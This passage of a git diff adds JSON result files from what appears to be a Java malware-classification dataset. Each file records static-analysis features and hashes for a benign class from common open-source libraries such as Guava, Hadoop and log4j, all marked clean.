{"java": {"sourcefile": "Platform.java", "class_name": "com/google/common/base/Platform$1", "access_permissions": ["ACC_FINAL", "ACC_SUPER"], "major_version": 49, "method_names": ["", "initialValue", "initialValue"], "minor_version": 0, "const_pool_count": 28}}, "_id": "35938d89-7671-4305-a2a3-4ef84d636070", "verbose": {"java": {"signatures": ["Ljava/lang/ThreadLocal<[C>;"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "15288375f8a68fad31a32fc7c76a6d5721be1589", "file_name": "java_clean/c8dedb9bf05d5aaec6d3d004eb93e8815e891776b2ff67b301a3532529d47d6a", "_id": "35938d89-7671-4305-a2a3-4ef84d636070", "score": 0, "entropy": 4.828969292990072, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 631, "ssdeep": "12:n0SDQulPsoxhhoMF3zaHSMtryiU7MFtlM8sESfslNETUNSDmslNEv6:0yQulj0hnN6bNE6", "sha256": "c8dedb9bf05d5aaec6d3d004eb93e8815e891776b2ff67b301a3532529d47d6a", "md5": "d9df6968bfd37c6cb415cd0b37dd8691", "parent_sha256": "c8dedb9bf05d5aaec6d3d004eb93e8815e891776b2ff67b301a3532529d47d6a"}} \ No newline at end of file diff --git a/java_classification/data/clean/c9ef0dee8eee164e7706e11f5c8b1610f7f327b6400fc3fa64cb901a0d2bb890.results b/java_classification/data/clean/c9ef0dee8eee164e7706e11f5c8b1610f7f327b6400fc3fa64cb901a0d2bb890.results new file mode 100755 index 0000000..5d0b8dc --- /dev/null +++ b/java_classification/data/clean/c9ef0dee8eee164e7706e11f5c8b1610f7f327b6400fc3fa64cb901a0d2bb890.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"major_version": 46, "class_name": "org/apache/jasper/runtime/JspRuntimeLibrary$PrivilegedIntrospectHelper", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "interfaces": ["java/security/PrivilegedExceptionAction"], "sourcefile": "JspRuntimeLibrary.java", "method_names": ["", "run"], "minor_version": 0, "const_pool_count": 53}}, "_id": "b94cfbc0-6661-4b18-a723-5f9610d08f82", "metadata": {"mimetype": "application/x-java-applet", "sha1": "a4d810a7a13622017e348d5c1ac5c431c1f963b1", "file_name": "java_clean/c9ef0dee8eee164e7706e11f5c8b1610f7f327b6400fc3fa64cb901a0d2bb890", "_id": "b94cfbc0-6661-4b18-a723-5f9610d08f82", "score": 0, "entropy": 5.280888761815735, "libmagic": "compiled Java class data, version 46.0 (Java 1.2)", "file_size": 1215, "ssdeep": "24:VhOJOFqJMVpJkuljNgtSQGHgq20CUzlPe5s5hsClqEa:VhOIiMVPJlxgtjGHgqQUzlPe5gaCQEa", "sha256": "c9ef0dee8eee164e7706e11f5c8b1610f7f327b6400fc3fa64cb901a0d2bb890", "md5": "31b0c8b25da23bb835ba1929bb78417c", "parent_sha256": "c9ef0dee8eee164e7706e11f5c8b1610f7f327b6400fc3fa64cb901a0d2bb890"}} \ No newline at end of file diff --git a/java_classification/data/clean/ca74283af3d87b8a22b4974a0d9bd2a24fa4b5bdcd63c7c4d1af7dc247bbeea9.results b/java_classification/data/clean/ca74283af3d87b8a22b4974a0d9bd2a24fa4b5bdcd63c7c4d1af7dc247bbeea9.results new file mode 100755 index 0000000..19b5fa8 --- /dev/null +++ b/java_classification/data/clean/ca74283af3d87b8a22b4974a0d9bd2a24fa4b5bdcd63c7c4d1af7dc247bbeea9.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "Synchronized.java", "class_name": "com/google/common/collect/Synchronized$SynchronizedAsMapValues", "access_permissions": ["ACC_SUPER"], "major_version": 49, "method_names": ["", "iterator"], "minor_version": 0, "const_pool_count": 54}}, "_id": "9ad79ef9-e14e-4afa-ad7e-f8c883ed744a", "verbose": {"java": {"signatures": ["(Ljava/util/Collection;>;Ljava/lang/Object;)V", "()Ljava/util/Iterator;>;", "Lcom/google/common/collect/Synchronized$SynchronizedCollection;>;"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "d10624aaeb41af7fe2030c257ae331ae7d0d819b", "file_name": "java_clean/ca74283af3d87b8a22b4974a0d9bd2a24fa4b5bdcd63c7c4d1af7dc247bbeea9", "_id": "9ad79ef9-e14e-4afa-ad7e-f8c883ed744a", "score": 0, "entropy": 5.248523946287296, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 1836, "ssdeep": "48:VcHlpvbga09Bh5s17WChsJJECgNw1OxRlGliCQs:Vcl09Bh5s1njDGlFQs", "sha256": "ca74283af3d87b8a22b4974a0d9bd2a24fa4b5bdcd63c7c4d1af7dc247bbeea9", "md5": "e9270c792541301aacd522e741c965aa", "parent_sha256": "ca74283af3d87b8a22b4974a0d9bd2a24fa4b5bdcd63c7c4d1af7dc247bbeea9"}} \ No newline at end of file diff --git a/java_classification/data/clean/cad7077bc277358f330fa8c7078fe92b3caf5ad978b8db98b824c6cfd27420b8.results b/java_classification/data/clean/cad7077bc277358f330fa8c7078fe92b3caf5ad978b8db98b824c6cfd27420b8.results new file mode 100755 index 0000000..9f04b8c --- /dev/null +++ b/java_classification/data/clean/cad7077bc277358f330fa8c7078fe92b3caf5ad978b8db98b824c6cfd27420b8.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "Client.java", "class_name": "org/apache/hadoop/ipc/Client$Connection$PingInputStream", "access_permissions": ["ACC_SUPER"], "major_version": 49, "method_names": ["", "handleTimeout", "read", "read"], "minor_version": 0, "const_pool_count": 75}}, "_id": "beae1c17-543f-4f30-896d-8d5ed13cb292", "metadata": {"mimetype": "application/x-java-applet", "sha1": "71c859d75aefeb21d113338e4751fa95d6767c77", "file_name": "java_clean/cad7077bc277358f330fa8c7078fe92b3caf5ad978b8db98b824c6cfd27420b8", "_id": "beae1c17-543f-4f30-896d-8d5ed13cb292", "score": 0, "entropy": 5.315341124762955, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 1748, "ssdeep": "24:KwTWmZKm91ulj4mbAGbVqLkIdVwmbMmgXme2oZ2oJhmGmwzmM2oxsSm/lNAOvnH5:dTWwKvlU4S4IA4MtfhXD9hGeOvnA12", "sha256": "cad7077bc277358f330fa8c7078fe92b3caf5ad978b8db98b824c6cfd27420b8", "md5": "3570edfac08ede52944e28e8526406a4", "parent_sha256": "cad7077bc277358f330fa8c7078fe92b3caf5ad978b8db98b824c6cfd27420b8"}} \ No newline at end of file diff --git a/java_classification/data/clean/cba57e29640925dda50ce21568ade8a9f0b6f906a5619d288c8a3a1a53466dcc.results b/java_classification/data/clean/cba57e29640925dda50ce21568ade8a9f0b6f906a5619d288c8a3a1a53466dcc.results new file mode 100755 index 0000000..ec4576e --- /dev/null +++ b/java_classification/data/clean/cba57e29640925dda50ce21568ade8a9f0b6f906a5619d288c8a3a1a53466dcc.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "ClassUtils.java", "class_name": "org/apache/commons/lang/ClassUtils", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 45, "method_names": ["", "getShortClassName", "getShortClassName", "getShortClassName", "getPackageName", "getPackageName", "getPackageName", "getAllSuperclasses", "getAllInterfaces", "convertClassNamesToClasses", "convertClassesToClassNames", "isAssignable", "isAssignable", "isInnerClass", ""], "minor_version": 3, "const_pool_count": 222}}, "_id": "cb596ee6-7608-4ec9-ad6f-e916139f1548", "verbose": {"java": {"constant strings": ["The class must not be null", "The class name must not be empty", ""]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "0f825a7bedb68dde377b4cd839164c5a954ec90e", "file_name": "java_clean/cba57e29640925dda50ce21568ade8a9f0b6f906a5619d288c8a3a1a53466dcc", "_id": "cb596ee6-7608-4ec9-ad6f-e916139f1548", "score": 0, "entropy": 5.694789792089319, "libmagic": "compiled Java class data, version 45.3", "file_size": 5233, "ssdeep": "96:+LFlJp8e/c2cOvh9hnzGC6ki2BtmZkdFt2aivhySaoZm:+xlEe/hvh9FzGC3iytmZkdFoaivhp3Zm", "sha256": "cba57e29640925dda50ce21568ade8a9f0b6f906a5619d288c8a3a1a53466dcc", "md5": "90be64bbe5c78043779988745b1be271", "parent_sha256": "cba57e29640925dda50ce21568ade8a9f0b6f906a5619d288c8a3a1a53466dcc"}} \ No newline at end of file diff --git a/java_classification/data/clean/ccd9d661e7f9e941a87d1a8deebb152d9e11b56107ec49c4735ad2bd6107cd7e.results b/java_classification/data/clean/ccd9d661e7f9e941a87d1a8deebb152d9e11b56107ec49c4735ad2bd6107cd7e.results new file mode 100755 index 0000000..452cd52 --- /dev/null +++ b/java_classification/data/clean/ccd9d661e7f9e941a87d1a8deebb152d9e11b56107ec49c4735ad2bd6107cd7e.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "Balancer.java", "class_name": "org/apache/hadoop/dfs/Balancer$Source", "access_permissions": ["ACC_SUPER"], "major_version": 49, "method_names": ["", "addNodeTask", "getBlockIterator", "getBlockList", "isGoodBlockCandidate", "chooseNextBlockToMove", "filterMovedBlocks", "shouldFetchMoreBlocks", "dispatchBlocks", "access$000", "access$2100", "", "access$4100", ""], "minor_version": 0, "const_pool_count": 393}}, "_id": "83f2690e-241e-4cb0-af4e-468f0a802225", "verbose": {"java": {"signatures": ["Ljava/util/ArrayList;", "Ljava/util/List;", "()Ljava/util/Iterator;"], "constant strings": ["Source and target are the same "]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "0c9d5f26e73e1839a648a9b11fe2293ad779b9e8", "file_name": "java_clean/ccd9d661e7f9e941a87d1a8deebb152d9e11b56107ec49c4735ad2bd6107cd7e", "_id": "83f2690e-241e-4cb0-af4e-468f0a802225", "score": 0, "entropy": 5.747207171296442, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 9576, "ssdeep": "96:C5QMWYspFH3SglsB6p8KT++nSQ1MvHuojKB4q3SUtjwB3VP2Q3+utn1dT6SbqUhH:gQMarlQawbhOuoCbGNIRXLz", "sha256": "ccd9d661e7f9e941a87d1a8deebb152d9e11b56107ec49c4735ad2bd6107cd7e", "md5": "35ad6ed710ff00aa79bbc433b918e68b", "parent_sha256": "ccd9d661e7f9e941a87d1a8deebb152d9e11b56107ec49c4735ad2bd6107cd7e"}} \ No newline at end of file diff --git a/java_classification/data/clean/ce5e03db00fefcc4e39dbd054de31391ed867efcd6e2b837dd48c90f012c136e.results b/java_classification/data/clean/ce5e03db00fefcc4e39dbd054de31391ed867efcd6e2b837dd48c90f012c136e.results new file mode 100755 index 0000000..0cbdcda --- /dev/null +++ b/java_classification/data/clean/ce5e03db00fefcc4e39dbd054de31391ed867efcd6e2b837dd48c90f012c136e.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"major_version": 49, "class_name": "org/apache/hadoop/io/compress/zlib/ZlibDecompressor", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "interfaces": ["org/apache/hadoop/io/compress/Decompressor"], "sourcefile": "ZlibDecompressor.java", "method_names": ["isNativeZlibLoaded", "", "", "setInput", "setInputFromSavedData", "setDictionary", "needsInput", "needsDictionary", "finished", "decompress", "getBytesWritten", "getBytesRead", "reset", "end", "finalize", "checkStream", "initIDs", "init", "setDictionary", "inflateBytesDirect", "getBytesRead", "getBytesWritten", "reset", "end", ""], "minor_version": 0, "const_pool_count": 188}}, "_id": "ea386171-4707-42bd-bf8e-7bb76e6551f3", "metadata": {"mimetype": "application/x-java-applet", "sha1": "93e412cd27506c5af94b7b149117460494838344", "file_name": "java_clean/ce5e03db00fefcc4e39dbd054de31391ed867efcd6e2b837dd48c90f012c136e", "_id": "ea386171-4707-42bd-bf8e-7bb76e6551f3", "score": 0, "entropy": 5.388000211388339, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 4440, "ssdeep": "96:bEVANUxlUSQlwHCWi+ibRUPcJFP5AHKUO7MpW4+qGa9a:YpvQlgi+i7P5AqTq8", "sha256": "ce5e03db00fefcc4e39dbd054de31391ed867efcd6e2b837dd48c90f012c136e", "md5": "bac693b8458c4898f397186217044568", "parent_sha256": "ce5e03db00fefcc4e39dbd054de31391ed867efcd6e2b837dd48c90f012c136e"}} \ No newline at end of file diff --git a/java_classification/data/clean/cea7be3f031b5c9f50217b213e30eeff5464c5718d199fb4a33393ca4f9f85a5.results b/java_classification/data/clean/cea7be3f031b5c9f50217b213e30eeff5464c5718d199fb4a33393ca4f9f85a5.results new file mode 100755 index 0000000..5f90742 --- /dev/null +++ b/java_classification/data/clean/cea7be3f031b5c9f50217b213e30eeff5464c5718d199fb4a33393ca4f9f85a5.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"major_version": 46, "class_name": "org/apache/log4j/lf5/viewer/LF5SwingUtils$1", "access_permissions": ["ACC_SUPER"], "interfaces": ["java/lang/Runnable"], "sourcefile": "LF5SwingUtils.java", "method_names": ["", "run"], "minor_version": 0, "const_pool_count": 32}}, "_id": "8f728ad9-bf0e-4773-b2cc-510ac7a3ee0a", "metadata": {"mimetype": "application/x-java-applet", "sha1": "db6872c84ffdcbfa98c518e50988729b0e673746", "file_name": "java_clean/cea7be3f031b5c9f50217b213e30eeff5464c5718d199fb4a33393ca4f9f85a5", "_id": "8f728ad9-bf0e-4773-b2cc-510ac7a3ee0a", "score": 0, "entropy": 5.107518575836701, "libmagic": "compiled Java class data, version 46.0 (Java 1.2)", "file_size": 630, "ssdeep": "12:kN1NKo9iqKoculPsoxhXsG8sZpVLsGsRlFKoQckBFzOR9mqpOS:eTZcqZculjDsG8QLsGszFZjkBFzO7mO", "sha256": "cea7be3f031b5c9f50217b213e30eeff5464c5718d199fb4a33393ca4f9f85a5", "md5": "ff6a9f922f7ea944edcef388c06abd50", "parent_sha256": "cea7be3f031b5c9f50217b213e30eeff5464c5718d199fb4a33393ca4f9f85a5"}} \ No newline at end of file diff --git a/java_classification/data/clean/cf15b5edd324fad7ff6ccb5be11c1cd091be5f0f1e5be71c3157dd30a88d5159.results b/java_classification/data/clean/cf15b5edd324fad7ff6ccb5be11c1cd091be5f0f1e5be71c3157dd30a88d5159.results new file mode 100755 index 0000000..2eaef99 --- /dev/null +++ b/java_classification/data/clean/cf15b5edd324fad7ff6ccb5be11c1cd091be5f0f1e5be71c3157dd30a88d5159.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "S3ServiceException.java", "class_name": "org/jets3t/service/S3ServiceException", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 48, "method_names": ["", "", "", "", "", "toString", "findXmlElementText", "parseS3XmlMessage", "getS3ErrorCode", "getS3ErrorMessage", "getS3ErrorHostId", "getS3ErrorRequestId", "getXmlMessage"], "minor_version": 0, "const_pool_count": 126}}, "_id": "71514ca6-d11d-461f-9496-4ad758bf318b", "verbose": {"java": {"JAVA String Analysis": {"obfuscated_data": {"base64": {"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/": "Code"}}}, "constant strings": [" XML Error Message: ", "", ".*<", ">(.*).*", "\\n", "Code", "Message", "RequestId", "HostId"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "b1214bfc923d813bea9bfcdb8d79492a5cae811e", "file_name": "java_clean/cf15b5edd324fad7ff6ccb5be11c1cd091be5f0f1e5be71c3157dd30a88d5159", "_id": "71514ca6-d11d-461f-9496-4ad758bf318b", "score": 0, "entropy": 5.188786097514037, "libmagic": "compiled Java class data, version 48.0 (Java 1.4)", "file_size": 2991, "ssdeep": "48:IVpwfOCCCNMlgH1WpIBt9M0IjRZUPMO6is4vO+S6yGdIVCiCH2By8Eq:qa2lgHGIKXfUPMO6zaS6yGdIwiCH2By8", "sha256": "cf15b5edd324fad7ff6ccb5be11c1cd091be5f0f1e5be71c3157dd30a88d5159", "md5": "ca1dd873f125fc588aa8713e6c514539", "parent_sha256": "cf15b5edd324fad7ff6ccb5be11c1cd091be5f0f1e5be71c3157dd30a88d5159"}} \ No newline at end of file diff --git a/java_classification/data/clean/cf9261ada3f72928a8555dc11bc5b6ad088a6f7a2b22dc50a3bb539bb3adb681.results b/java_classification/data/clean/cf9261ada3f72928a8555dc11bc5b6ad088a6f7a2b22dc50a3bb539bb3adb681.results new file mode 100755 index 0000000..4b8d45d --- /dev/null +++ b/java_classification/data/clean/cf9261ada3f72928a8555dc11bc5b6ad088a6f7a2b22dc50a3bb539bb3adb681.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"major_version": 49, "class_name": "com/google/gson/SyntheticFieldExclusionStrategy", "access_permissions": ["ACC_SUPER"], "interfaces": ["com/google/gson/ExclusionStrategy"], "sourcefile": "SyntheticFieldExclusionStrategy.java", "method_names": ["", "shouldSkipClass", "shouldSkipField"], "minor_version": 0, "const_pool_count": 41}}, "_id": "76cd3cbd-4651-4376-9ae7-9f07b9e713e1", "verbose": {"java": {"signatures": ["(Ljava/lang/Class<*>;)Z"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "1f096a51debb7ab1ba67cd43eda25f18c1c50fc6", "file_name": "java_clean/cf9261ada3f72928a8555dc11bc5b6ad088a6f7a2b22dc50a3bb539bb3adb681", "_id": "76cd3cbd-4651-4376-9ae7-9f07b9e713e1", "score": 0, "entropy": 5.154880968924616, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 964, "ssdeep": "12:fm7EzIqyN6QulPsoqal8iNuxk1HInFmOkteR6P/OkNlITdUXpN:0ayNxuljqalJNF1o4Ze2OkN0Oz", "sha256": "cf9261ada3f72928a8555dc11bc5b6ad088a6f7a2b22dc50a3bb539bb3adb681", "md5": "4e4241de6407170b3cfc9d5c7f401abf", "parent_sha256": "cf9261ada3f72928a8555dc11bc5b6ad088a6f7a2b22dc50a3bb539bb3adb681"}} \ No newline at end of file diff --git a/java_classification/data/clean/d1c4b5aec2040a7109de19d19b4364c2cf71d7f094c8092b9d599eab1abd50d4.results b/java_classification/data/clean/d1c4b5aec2040a7109de19d19b4364c2cf71d7f094c8092b9d599eab1abd50d4.results new file mode 100755 index 0000000..0cf7032 --- /dev/null +++ b/java_classification/data/clean/d1c4b5aec2040a7109de19d19b4364c2cf71d7f094c8092b9d599eab1abd50d4.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"major_version": 46, "class_name": "org/mortbay/http/BasicAuthenticator", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "interfaces": ["org/mortbay/http/Authenticator"], "sourcefile": "BasicAuthenticator.java", "method_names": ["", "authenticate", "getAuthMethod", "sendChallenge", "class$", ""], "minor_version": 0, "const_pool_count": 192}}, "_id": "3851d9a8-8e4b-494a-a14a-93bf7db9c2f7", "verbose": {"java": {"JAVA String Analysis": {"combined strings entropy": 4.888635325708146}, "constant strings": ["Authorization", "Credentials: ", "AUTH FAILURE: user ", "BASIC", "AUTH FAILURE: ", "WWW-Authenticate", "basic realm=\"", "org.mortbay.http.BasicAuthenticator"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "e0770d51749217053c6b6c2b8acd5cd0105a619a", "file_name": "java_clean/d1c4b5aec2040a7109de19d19b4364c2cf71d7f094c8092b9d599eab1abd50d4", "_id": "3851d9a8-8e4b-494a-a14a-93bf7db9c2f7", "score": 0, "entropy": 5.668242373258902, "libmagic": "compiled Java class data, version 46.0 (Java 1.2)", "file_size": 3715, "ssdeep": "48:mJ+c2oSoJdayyFlKn1yfOqxqe20nusU2/BpOBCkTK+X2ndtNjOh+gjv/d:mjuwGFlPWbYrjOYk+F17gDl", "sha256": "d1c4b5aec2040a7109de19d19b4364c2cf71d7f094c8092b9d599eab1abd50d4", "md5": "246f566bb4fc5d7584bfdf9d1503cfd1", "parent_sha256": "d1c4b5aec2040a7109de19d19b4364c2cf71d7f094c8092b9d599eab1abd50d4"}} \ No newline at end of file diff --git a/java_classification/data/clean/d1e3c50d349ac2091d56fc1a6b40cee992752094650be44a6dfb47ef4989a285.results b/java_classification/data/clean/d1e3c50d349ac2091d56fc1a6b40cee992752094650be44a6dfb47ef4989a285.results new file mode 100755 index 0000000..ab63752 --- /dev/null +++ b/java_classification/data/clean/d1e3c50d349ac2091d56fc1a6b40cee992752094650be44a6dfb47ef4989a285.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"major_version": 50, "class_name": "hu/openig/utils/ConsoleWatcher$6", "access_permissions": ["ACC_SUPER"], "interfaces": ["hu/openig/utils/XElement$Appender"], "sourcefile": "ConsoleWatcher.java", "method_names": ["", "append"], "minor_version": 0, "const_pool_count": 46}}, "_id": "2ac7422d-4bf5-4e7e-b813-e289b14d94f6", "metadata": {"mimetype": "application/x-java-applet", "sha1": "7cbf605625e1ece2b7e3a10389583927f7ab9e28", "file_name": "java_clean/d1e3c50d349ac2091d56fc1a6b40cee992752094650be44a6dfb47ef4989a285", "_id": "2ac7422d-4bf5-4e7e-b813-e289b14d94f6", "score": 0, "entropy": 5.254021721113974, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 983, "ssdeep": "24:4vZIXKNsAB6ljsZJtNQJWsX+rsJqhTp3UUt:4vEKnB6leQJWsXGlB", "sha256": "d1e3c50d349ac2091d56fc1a6b40cee992752094650be44a6dfb47ef4989a285", "md5": "56aff16ed21c9d39110cb03632aeccbc", "parent_sha256": "d1e3c50d349ac2091d56fc1a6b40cee992752094650be44a6dfb47ef4989a285"}} \ No newline at end of file diff --git a/java_classification/data/clean/d238963b08c2e4cf6c792f2dab7f4d56dd5d82e4c800f26290f0781b7263f030.results b/java_classification/data/clean/d238963b08c2e4cf6c792f2dab7f4d56dd5d82e4c800f26290f0781b7263f030.results new file mode 100755 index 0000000..7a7bc9d --- /dev/null +++ b/java_classification/data/clean/d238963b08c2e4cf6c792f2dab7f4d56dd5d82e4c800f26290f0781b7263f030.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"major_version": 49, "class_name": "org/apache/hadoop/dfs/UnderReplicatedBlocks", "access_permissions": ["ACC_SUPER"], "interfaces": ["java/lang/Iterable"], "sourcefile": "UnderReplicatedBlocks.java", "method_names": ["", "clear", "size", "contains", "getPriority", "add", "remove", "remove", "update", "iterator", "access$000"], "minor_version": 0, "const_pool_count": 175}}, "_id": "589e170c-b0dc-4607-8002-e3c117a30102", "verbose": {"java": {"signatures": ["Ljava/util/List;>;", "()Ljava/util/Iterator;", "Ljava/lang/Object;Ljava/lang/Iterable;"], "constant strings": ["BLOCK* NameSystem.UnderReplicationBlock.add:", " has only ", " replicas and need ", " replicas so is added to neededReplications", " at priority level ", "BLOCK* NameSystem.UnderReplicationBlock.remove: Removing block ", " from priority queue ", "UnderReplicationBlocks.update ", " curReplicas ", " curExpectedReplicas ", " oldReplicas ", " oldExpectedReplicas ", " curPri ", " oldPri ", "BLOCK* NameSystem.UnderReplicationBlock.update:"], "JAVA String Analysis": {"combined strings entropy": 4.581973949676275}}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "e2e41151df62a017394a648220ce8a08a9757cca", "file_name": "java_clean/d238963b08c2e4cf6c792f2dab7f4d56dd5d82e4c800f26290f0781b7263f030", "_id": "589e170c-b0dc-4607-8002-e3c117a30102", "score": 0, "entropy": 5.607788680645414, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 4655, "ssdeep": "96:Kz5TOiFl3lO+UPxTRKGbRmJkOjwpmIm0RghioeYHUk:Kz5Tll6KXwmisT0k", "sha256": "d238963b08c2e4cf6c792f2dab7f4d56dd5d82e4c800f26290f0781b7263f030", "md5": "6abf25cf916bbf5d94763b57f0695d18", "parent_sha256": "d238963b08c2e4cf6c792f2dab7f4d56dd5d82e4c800f26290f0781b7263f030"}} \ No newline at end of file diff --git a/java_classification/data/clean/d328fa9bb3dc3df5a610a921a887985c886b9b04c7fcf91e93b0d08047f11db3.results b/java_classification/data/clean/d328fa9bb3dc3df5a610a921a887985c886b9b04c7fcf91e93b0d08047f11db3.results new file mode 100755 index 0000000..bcb5a32 --- /dev/null +++ b/java_classification/data/clean/d328fa9bb3dc3df5a610a921a887985c886b9b04c7fcf91e93b0d08047f11db3.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "Rule.java", "class_name": "org/apache/pig/impl/plan/optimizer/Rule", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 49, "method_names": ["", "", "getPlan", "getTransformer", "getRuleName", "getWalkerAlgo"], "minor_version": 0, "const_pool_count": 63}}, "_id": "d0edd3f0-60fc-4ffd-ada7-82934f8cbf22", "verbose": {"java": {"signatures": ["Lorg/apache/pig/impl/plan/optimizer/Transformer;", "(Lorg/apache/pig/impl/plan/optimizer/RulePlan;Lorg/apache/pig/impl/plan/optimizer/Transformer;Ljava/lang/String;)V", "(Lorg/apache/pig/impl/plan/optimizer/RulePlan;Lorg/apache/pig/impl/plan/optimizer/Transformer;Ljava/lang/String;Lorg/apache/pig/impl/plan/optimizer/Rule$WalkerAlgo;)V", "()Lorg/apache/pig/impl/plan/optimizer/Transformer;", ";>Ljava/lang/Object;"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "26d6720102f542e408510664e55af8c4b655dc91", "file_name": "java_clean/d328fa9bb3dc3df5a610a921a887985c886b9b04c7fcf91e93b0d08047f11db3", "_id": "d0edd3f0-60fc-4ffd-ada7-82934f8cbf22", "score": 0, "entropy": 5.101122349392238, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 2524, "ssdeep": "48:UKYkbaLakcBDfa6lm9k5sfaFfa6LfatUfacraz7gkPNIUN/lzpGX59HTl9v95:UKjbaLak0fa6lma5sfaFfa6LfatUfaqf", "sha256": "d328fa9bb3dc3df5a610a921a887985c886b9b04c7fcf91e93b0d08047f11db3", "md5": "ab0bec83792634f872318d1ee1756e58", "parent_sha256": "d328fa9bb3dc3df5a610a921a887985c886b9b04c7fcf91e93b0d08047f11db3"}} \ No newline at end of file diff --git a/java_classification/data/clean/d39b78c767585a96f66abe55118cacea91caaee747aeb6fb8184fbabb199648c.results b/java_classification/data/clean/d39b78c767585a96f66abe55118cacea91caaee747aeb6fb8184fbabb199648c.results new file mode 100755 index 0000000..4d1cda5 --- /dev/null +++ b/java_classification/data/clean/d39b78c767585a96f66abe55118cacea91caaee747aeb6fb8184fbabb199648c.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"class_name": "org/apache/log4j/jmx/Agent", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 46, "method_names": ["", "start", "class$", ""], "minor_version": 0, "const_pool_count": 92}}, "_id": "eb32f865-b1a0-43cf-82f3-4dda6e2a53b0", "verbose": {"java": {"JAVA String Analysis": {"combined strings entropy": 4.718887454630069}, "constant strings": ["Registering HtmlAdaptorServer instance.", "Adaptor:name=html,port=8082", "Registering HierarchyDynamicMBean instance.", "log4j:hiearchy=default", "Problem while regitering MBeans instances.", "org.apache.log4j.jmx.Agent"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "e9625929e23c7a9bf0cfebe583eb073c241dee87", "file_name": "java_clean/d39b78c767585a96f66abe55118cacea91caaee747aeb6fb8184fbabb199648c", "_id": "eb32f865-b1a0-43cf-82f3-4dda6e2a53b0", "score": 0, "entropy": 5.574088553496251, "libmagic": "compiled Java class data, version 46.0 (Java 1.2)", "file_size": 1660, "ssdeep": "48:kkFIyyvYdfGu+RP5RGuYqNb/TG4uCqOQN9I5lwUgrLC:kkIgz+RP5xRNbLu8QHI7wUgfC", "sha256": "d39b78c767585a96f66abe55118cacea91caaee747aeb6fb8184fbabb199648c", "md5": "69ad144654837bc43076fe6c95f05b8d", "parent_sha256": "d39b78c767585a96f66abe55118cacea91caaee747aeb6fb8184fbabb199648c"}} \ No newline at end of file diff --git a/java_classification/data/clean/d3aba45259eebfc7a5bcf3682671cd444b13ddcba365257d8b2a19598e55d491.results b/java_classification/data/clean/d3aba45259eebfc7a5bcf3682671cd444b13ddcba365257d8b2a19598e55d491.results new file mode 100755 index 0000000..65727cb --- /dev/null +++ b/java_classification/data/clean/d3aba45259eebfc7a5bcf3682671cd444b13ddcba365257d8b2a19598e55d491.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "VFS.java", "class_name": "org/jboss/vfs/VFS", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 50, "method_names": ["createDefaultRoot", "", "init", "mount", "getChild", "isWindows", "getChild", "getChild", "getRootVirtualFile", "getChildren", "getChildren", "getChildrenRecursively", "getChildrenRecursively", "visit", "visit", "getMount", "getSubmounts", "doMount", "mountZip", "mountZip", "mountZip", "mountReal", "mountTemp", "mountZipExpanded", "mountZipExpanded", "mountZipExpanded", "mountAssembly", "emptyRemovableSet", "access$100", "access$200", ""], "minor_version": 0, "const_pool_count": 517}}, "_id": "158152ff-9530-4732-8fe2-c7210da845d8", "verbose": {"java": {"signatures": ["Ljava/util/concurrent/ConcurrentMap;>;", "()Ljava/util/List;", "(Lorg/jboss/vfs/VirtualFileFilter;)Ljava/util/List;", "()Ljava/util/List;", "(Lorg/jboss/vfs/VirtualFileFilter;)Ljava/util/List;", "(Lorg/jboss/vfs/VirtualFile;)Ljava/util/Set;", "()Ljava/util/Set;"], "constant strings": ["/", "VFS was unable to set the URLStreamHandlerFactory. This will have unpredictable results", "java.protocol.handler.pkgs", "org.jboss.net.protocol|org.jboss.vfs.protocol", "org.jboss.vfs.protocol", "org.jboss.net.protocol", "|org.jboss.net.protocol", "|org.jboss.vfs.protocol", "Root filsystem already mounted", "Filsystem already mounted at mount point \"", "\"", "Mounted filesystem %s on mount point %s", "Null path", ":/", "//", "Invalid Win32 path: ", "Null file", "tmpfs", "-", ".tmp", "org.jboss.vfs", "Canonical path lookup enabled."], "JAVA String Analysis": {"combined strings entropy": 4.677442926606291, "obfuscated_data": 